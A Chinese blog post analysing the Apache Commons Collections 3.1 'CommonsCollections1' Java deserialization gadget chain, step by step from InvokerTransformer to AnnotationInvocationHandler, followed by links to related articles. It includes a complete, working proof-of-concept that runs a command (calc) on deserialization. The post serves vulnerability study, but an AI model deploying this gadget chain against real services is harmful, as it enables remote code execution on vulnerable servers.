InvokerTransformer

首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors\InvokerTransformer.java

下的 transform 方法

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

看到这个方法就知道是反射。

这里传入了一个 object,然后反射调用过程用到了以下3个参数。

  • iMethodName
  • iParamTypes
  • iArgs

这三个参数在 InvokerTransformer 的构造方法中,就是说这三个参数是我们可控的。

利用 InvokerTransformer#transform 就可执行任意命令。

public static void main(String[] args) {

    InvokerTransformer IT = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
IT.transform(Runtime.getRuntime());
}

继续看 commons-collections-3.1-sources.jar!/org/apache/commons/collections/functors/ChainedTransformer.java

public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
} /**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

这里遍历iTransformers并调用transform方法,传入Object对象,这个对象一直变的,执行完这一步操作被赋值再被传入下一步操作依次循环到结束。

可以编写如下代码来进行执行命令

Transformer[] T = new Transformer[]{new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
new ChainedTransformer(T).transform(Runtime.getRuntime());

这里需要调用 transform 并传入 Runtime.getRuntime()

这里也可以使用 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors\ChainedTransformer.java 传入 Runtime.getRuntime() 然后在后面调用 transfrom的时候就会将实例化传入的对象返回。

public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
} /**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}
Transformer[] T = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};

new ChainedTransformer(T).transform(1);

可以看到上面代码执行命令都需要主动调用 transform ,实战中不会存在这种情况。

TransformedMap

来看一下 TransformedMap

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
} //-----------------------------------------------------------------------
/**
* Constructor that wraps (not copies).
* <p>
* If there are any elements already in the collection being decorated, they
* are NOT transformed.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no conversion
* @param valueTransformer the transformer to use for value conversion, null means no conversion
* @throws IllegalArgumentException if map is null
*/
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
} /**
* Transforms a key.
* <p>
* The transformer itself may throw an exception if necessary.
*
* @param object the object to transform
* @throws the transformed object
*/
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
} /**
* Transforms a value.
* <p>
* The transformer itself may throw an exception if necessary.
*
* @param object the object to transform
* @throws the transformed object
*/
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

keyTransformer、valueTransformer 都可控。这里我们的目标是调用InvokerTransformer#transform 方法

前面我们构造了一个 ChainedTransformer 里面包含 ConstantTransformer 和 InvokerTransformer ,所以只要我们能够调用 TransformedMap 的 checkSetValue方法就会相应的调用 ConstantTransformer InvokerTransformer 的transform方法。

那么如何调用 checkSetValue方法,我们找到 TransformedMap 的父类 AbstractInputCheckedMapDecorator 中发现中有调用 checkSetValue ,这是一个抽象方法 protected abstract Object checkSetValue(Object value); 由其子类实现。所以就变成了只需要调用 setValue 就能执行我们构造的反射链。

我们来看下 Map 的setValue

使用 decorate 生成一个 TransformedMap 对象。

Transformer[] T = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(T);
Map hm = new HashMap();
hm.put(1,1);
Map decorate = TransformedMap.decorate(hm, null, chainedTransformer);
Map.Entry M = (Map.Entry)decorate.entrySet().iterator().next();
M.setValue("123");

反序列化利用

反序列化漏洞的入口都在 readObject 方法,所以需要找到在反序列化进入到readObject 方法时会调用 setValue 的类。这里 ysoserial 的作者提供了类 sun.reflect.annotation.AnnotationInvocationHandler

这里 AnnotationInvocationHandler 是一个内部类需要使用反射进行实例化。还需要注意一点 待序列化的对象都需要实现 Serializable 接口。但是上面的代码中 Runtime 类没有实现Serializable 接口 所以不可序列化。

所以需要改一下反射链。

new Transformer[]{
//得到Runtime.class
new ConstantTransformer(Runtime.class), //得到Method对象(getRuntime)
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}), //执行invoke方法,结果是得到Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null, new Object[0]}), //利用上一步得到的Runtime对象执行exec方法,执行命令 calc
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
System.out.println(Runtime.class);// 返回 class java.lang.Runtime  class类是实现了 Serializable 接口的

得出 最后poc

Transformer[] T = new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(T);
Map hm = new HashMap();
hm.put("value",1);
Map decorate = TransformedMap.decorate(hm, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();

这里 hm.put("value",1); 这里 key必须是value,否则无法触发,还有Target.class相关注解知识,可参考 https://xz.aliyun.com/t/7031#toc-9

利用条件 commonscollections<=3.2.1 、jdk< 8u71

参考

https://github.com/frohoff/ysoserial

https://xz.aliyun.com/t/7031

CommonsCollections1 反序列化利用链分析的更多相关文章

  1. CommonsCollections2 反序列化利用链分析

    在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口 那么就来看一下 java.util.PriorityQu ...

  2. CommonsCollections3 反序列化利用链分析

    InstantiateTransformer commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformer的t ...

  3. Commons-Beanutils利用链分析

    前言 本篇开始介绍 commons-beanutils 利用链,注意Commons-Beanutils 不是Commons-Collections 不要看混了,首先来看一下,什么是 commons-b ...

  4. Apache Common-collection 反序列化利用链解析--TransformedMap链

    Apache Common-collection 反序列化利用链解析 TransformedMap链 参考Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com) poc ...

  5. Shiro反序列化利用

    Shiro反序列化利用 前言:hvv单位这个漏洞挺多的,之前没专门研究打法,特有此篇文章. Shiro rememberMe反序列化漏洞(Shiro-550) 漏洞原理 Apache Shiro框架提 ...

  6. ThinkPHP5.1 反序列化利用链

    笔记里直接复制出来的   1 composer直接获取框架代码   ➜  composer create-project --prefer-dist topthink/think tp5137 ➜  ...

  7. JDK原生反序列化利用链7u21

    前言 JDK 7u21以前只粗略的扫过一眼,一看使用了AnnotationInvocationHandler,就以为还是和 CC1 一样差不多的利用方式,但最近仔细看了下利用链发现事情并不简单- 7u ...

  8. 从commons-beanutils反序列化到shiro无依赖的漏洞利用

    目录 0 前言 1 环境 2 commons-beanutils反序列化链 2.1 TemplatesImple调用链 2.2 PriorityQueue调用链 2.3 BeanComparator ...

  9. PHP反序列化链分析

    前言 基本的魔术方法和反序列化漏洞原理这里就不展开了. 给出一些魔术方法的触发条件: __construct()当一个对象创建(new)时被调用,但在unserialize()时是不会自动调用的 __ ...

随机推荐

  1. 【python与机器学习实战】感知机和支持向量机学习笔记(一)

    对<Python与机器学习实战>一书阅读的记录,对于一些难以理解的地方查阅了资料辅以理解并补充和记录,重新梳理一下感知机和SVM的算法原理,加深记忆. 1.感知机 感知机的基本概念 感知机 ...

  2. 大厂需要什么样的 Android 开发?

    前言 昨天和一个百度的朋友闲聊,他说根据最近招聘 Android工程师的经验来看,大部分候选人在工作 3 年的时候基本都会遇上一道难过的坎. 为啥这么说呢? 因为工作一段时间之后,大部分工程师都已经完 ...

  3. 深入理解jvm-2Edition-类文件结构

    概述: 规范而独立的类文件结构以及只与类文件关联的虚拟机为Java实现了平台无关性,甚至还带来了一些语言无关性. 只要将源代码编译为Class文件规定的格式,JVM就可以执行. JVM的指令描述能力比 ...

  4. 跟我一起写 Makefile(二)

    三.make是如何工作的 在默认的方式下,也就是我们只输入make命令.那么, 1.make会在当前目录下找名字叫"Makefile"或"makefile"的文 ...

  5. awk-05-数组

    数组 数组: 存储一系列相同类型的元素,键/值方式存储,通过下标(键)来访问值 awk 中数组称为关联数组,不仅可以使用数字作为下标,还可以使用字符串作为下标 数组元素的键和值存储在 awk 程序内部 ...

  6. Git-01-安装

    安装 在centos6.8上安装Git: yum install git -y windows上安装git: 安装的时候,默认选项即可 centos和windows安装git完成以后的设置: git ...

  7. Windows10公钥远程连接Linux服务器

    目录 前言 一.环境准备 二.使用步骤 1.服务器安装并配置OpenSSH 2. 本地生成密钥 3. 服务器ssh添加密钥 三 总结 前言 使用公钥远程登陆Linux十分方便,无需输入密码,同时采用V ...

  8. Pikachu-URL重定向、目录遍历、敏感信息泄露模块

    一.不安全的URL跳转 1.概述 不安全的url跳转问题可能发生在一切执行了url地址跳转的地方.如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地 ...

  9. Python小白的数学建模课-17.条件最短路径

    条件最短路径问题,指带有约束条件.限制条件的最短路径问题.例如: 顶点约束,包括必经点或禁止点的限制: 边的约束,包括必经路段.禁行路段和单向路段:无权路径长度的限制,如要求经过几步或不超过几步到达终 ...

  10. dubbo-admin管理控制台安装

    拉项目切换分支到master git clone https://github.com/apache/dubbo-admin.git /var/tmp/dubbo-admin 打开项目修改配置 dub ...